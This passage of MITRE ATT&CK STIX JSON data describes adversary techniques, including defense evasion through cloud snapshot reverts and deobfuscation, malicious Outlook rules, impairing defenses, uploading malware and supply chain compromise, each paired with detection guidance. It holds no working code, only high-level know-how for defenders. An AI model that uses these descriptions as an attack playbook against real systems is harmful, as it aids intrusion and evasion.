path"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d","type":"attack-pattern","created":"2017-05-31T21:30:31.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1024","url":"https://attack.mitre.org/techniques/T1024"},{"url":"https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf","description":"F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.","source_name":"F-Secure Cosmicduke"},{"url":"https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf","description":"Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.","source_name":"Fidelis DarkComet"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2021-07-20T21:57:36.046Z","name":"Custom Cryptographic Protocol","description":"Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Netskope"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--3b4121aa-fc8b-40c8-ac4f-afcb5838b72c","type":"attack-pattern","created":"2019-09-04T14:37:07.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"external_id":"T1536","source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1536"},{"source_name":"Tech Republic - Restore AWS Snapshots","url":"https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/","description":"Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019."},{"source_name":"Google - Restore Cloud Snapshot","url":"https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots","description":"Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019."}],"modified":"2021-03-08T10:33:01.527Z","name":"Revert Cloud Instance","description":"An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","type":"attack-pattern","created":"2017-05-31T21:31:08.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1091","external_id":"T1091"}],"modified":"2021-07-20T02:18:04.581Z","name":"Replication Through Removable Media","description":"Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"},{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_detection":"Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","File: File Access","Drive: Drive Creation","Process: Process Creation"],"x_mitre_permissions_required":["User"],"x_mitre_system_requirements":["Removable media allowed, Autorun enabled or vulnerability present that allows for code execution"]},{"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["William Cain","Austin Clark, @c2defense"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","created":"2017-05-31T21:30:20.537Z","x_mitre_version":"1.4","external_references":[{"source_name":"mitre-attack","external_id":"T1005","url":"https://attack.mitre.org/techniques/T1005"},{"source_name":"Mandiant APT41 Global Intrusion ","url":"https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits ","description":"Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022."},{"source_name":"US-CERT-TA18-106A","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information. Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n","modified":"2022-04-20T18:14:57.035Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Data from Local System","x_mitre_detection":"Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to collect files such as configuration files with built-in features native to the network device platform.(Citation: Mandiant APT41 Global Intrusion )(Citation: US-CERT-TA18-106A) Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Process: Process Creation","Script: Script Execution","Process: OS API Execution","File: File Access","Command: Command Execution"],"x_mitre_system_requirements":["Privileges to access certain files and directories"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matthew Demaske, Adaptforward","Red Canary"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1140","url":"https://attack.mitre.org/techniques/T1140"},{"url":"https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/","description":"Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.","source_name":"Malwarebytes Targeted Attack against Saudi Arabia"},{"url":"https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/","description":"Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.","source_name":"Carbon Black Obfuscation Sept 2016"},{"url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","source_name":"Volexity PowerDuke November 2016"}],"modified":"2020-07-09T14:42:23.122Z","name":"Deobfuscate/Decode Files or Information","description":"Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).\n\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Script: Script Execution","Process: Process Creation","File: File Modification"],"x_mitre_defense_bypassed":["Anti-virus","Host intrusion prevention systems","Signature-based detection","Network intrusion detection system"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows","Office 365"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Microsoft Security"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44","type":"attack-pattern","created":"2019-11-07T20:00:25.560Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1137.005","url":"https://attack.mitre.org/techniques/T1137/005"},{"source_name":"SilentBreak Outlook Rules","url":"https://silentbreaksecurity.com/malicious-outlook-rules/","description":"Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019."},{"source_name":"Microsoft Detect Outlook Forms","url":"https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack","description":"Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019."},{"source_name":"Pfammatter - Hidden Inbox Rules","url":"https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/","description":"Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021."},{"source_name":"SensePost NotRuler","url":"https://github.com/sensepost/notruler","description":"SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."}],"modified":"2021-10-15T20:18:30.700Z","name":"Outlook Rules","description":"Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOnce malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Application Log: Application Log Content","Command: Command Execution","Process: Process Creation"],"x_mitre_permissions_required":["Administrator","User"]},{"x_mitre_platforms":["Windows","Office 365","IaaS","Linux","macOS","Containers","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","type":"attack-pattern","created":"2020-02-21T20:22:13.470Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1562","url":"https://attack.mitre.org/techniques/T1562"}],"modified":"2022-03-08T21:55:28.348Z","name":"Impair Defenses","description":"Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools.  Lack of log events may be suspicious.\n\nMonitor environment variables and APIs that can be leveraged to disable security measures.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Script: Script Execution","Firewall: Firewall Disable","Sensor Health: Host Status","Windows Registry: Windows Registry Key Deletion","Process: Process Termination","Service: Service Metadata","Process: Process Creation","Cloud Service: Cloud Service Modification","Command: Command Execution","Cloud Service: Cloud Service Disable","Firewall: Firewall Rule Modification"],"x_mitre_defense_bypassed":["Anti-virus","Signature-based detection","Host intrusion prevention systems","File monitoring","Digital Certificate Validation","Host forensic analysis","Log analysis","Firewall"],"x_mitre_permissions_required":["Administrator","User"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b","type":"attack-pattern","created":"2020-10-01T01:20:53.104Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1586.002","url":"https://attack.mitre.org/techniques/T1586/002"},{"source_name":"AnonHBGary","description":"Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.","url":"https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"}],"modified":"2021-04-15T02:57:25.544Z","name":"Email Accounts","description":"Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Kobi Haimovich, CardinalOps"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","type":"attack-pattern","created":"2021-03-17T20:09:13.222Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1608.001","url":"https://attack.mitre.org/techniques/T1608/001"},{"source_name":"Volexity Ocean Lotus November 2020","url":"https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/","description":"Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."}],"modified":"2021-10-17T16:24:48.949Z","name":"Upload Malware","description":"Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)\n\nAdversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content"]},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Veeral Patel"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7","created":"2018-04-18T17:59:24.739Z","x_mitre_version":"1.3","external_references":[{"source_name":"mitre-attack","external_id":"T1195","url":"https://attack.mitre.org/techniques/T1195"},{"source_name":"Avast CCleaner3 2018","url":"https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities","description":"Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018."},{"source_name":"Command Five SK 2011","url":"https://www.commandfive.com/papers/C5_APT_SKHack.pdf","description":"Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018."},{"source_name":"IBM Storwize","url":"https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E","description":"IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019."},{"source_name":"Symantec Elderwood Sept 2012","url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018."},{"source_name":"Schneider Electric USB Malware","url":"https://www.se.com/ww/en/download/document/SESN-2018-236-01/","description":"Schneider Electric. (2018, August 24). Security Notification – USB Removable Media Provided With Conext Combox and Conext Battery Monitor. Retrieved May 28, 2019."},{"source_name":"Trendmicro NPM Compromise","url":"https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets","description":"Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019."},{"source_name":"Microsoft Dofoil 2018","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/","description":"Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018."},{"url":"https://capec.mitre.org/data/definitions/437.html","source_name":"capec","external_id":"CAPEC-437"},{"url":"https://capec.mitre.org/data/definitions/438.html","source_name":"capec","external_id":"CAPEC-438"},{"url":"https://capec.mitre.org/data/definitions/439.html","source_name":"capec","external_id":"CAPEC-439"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)","modified":"2022-04-19T20:09:21.256Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Supply Chain Compromise","x_mitre_detection":"Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":[],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","IaaS","Network","Linux","macOS","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Yossi Weizman, Azure Defender Research Team","Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","created":"2018-04-18T17:59:24.739Z","x_mitre_version":"2.3","external_references":[{"source_name":"mitre-attack","external_id":"T1190","url":"https://attack.mitre.org/techniques/T1190"},{"source_name":"CWE top 25","url":"https://cwe.mitre.org/top25/index.html","description":"Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019."},{"source_name":"CIS Multiple SMB Vulnerabilities","url":"https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/","description":"CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018."},{"source_name":"NVD CVE-2016-6662","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-6662","description":"National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018."},{"source_name":"NVD CVE-2014-7169","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-7169","description":"National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018."},{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."},{"source_name":"OWASP Top 10","url":"https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project","description":"OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018."},{"source_name":"US-CERT TA18-106A Network Infrastructure Devices 2018","url":"https://us-cert.cisa.gov/ncas/alerts/TA18-106A","description":"US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). \n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This 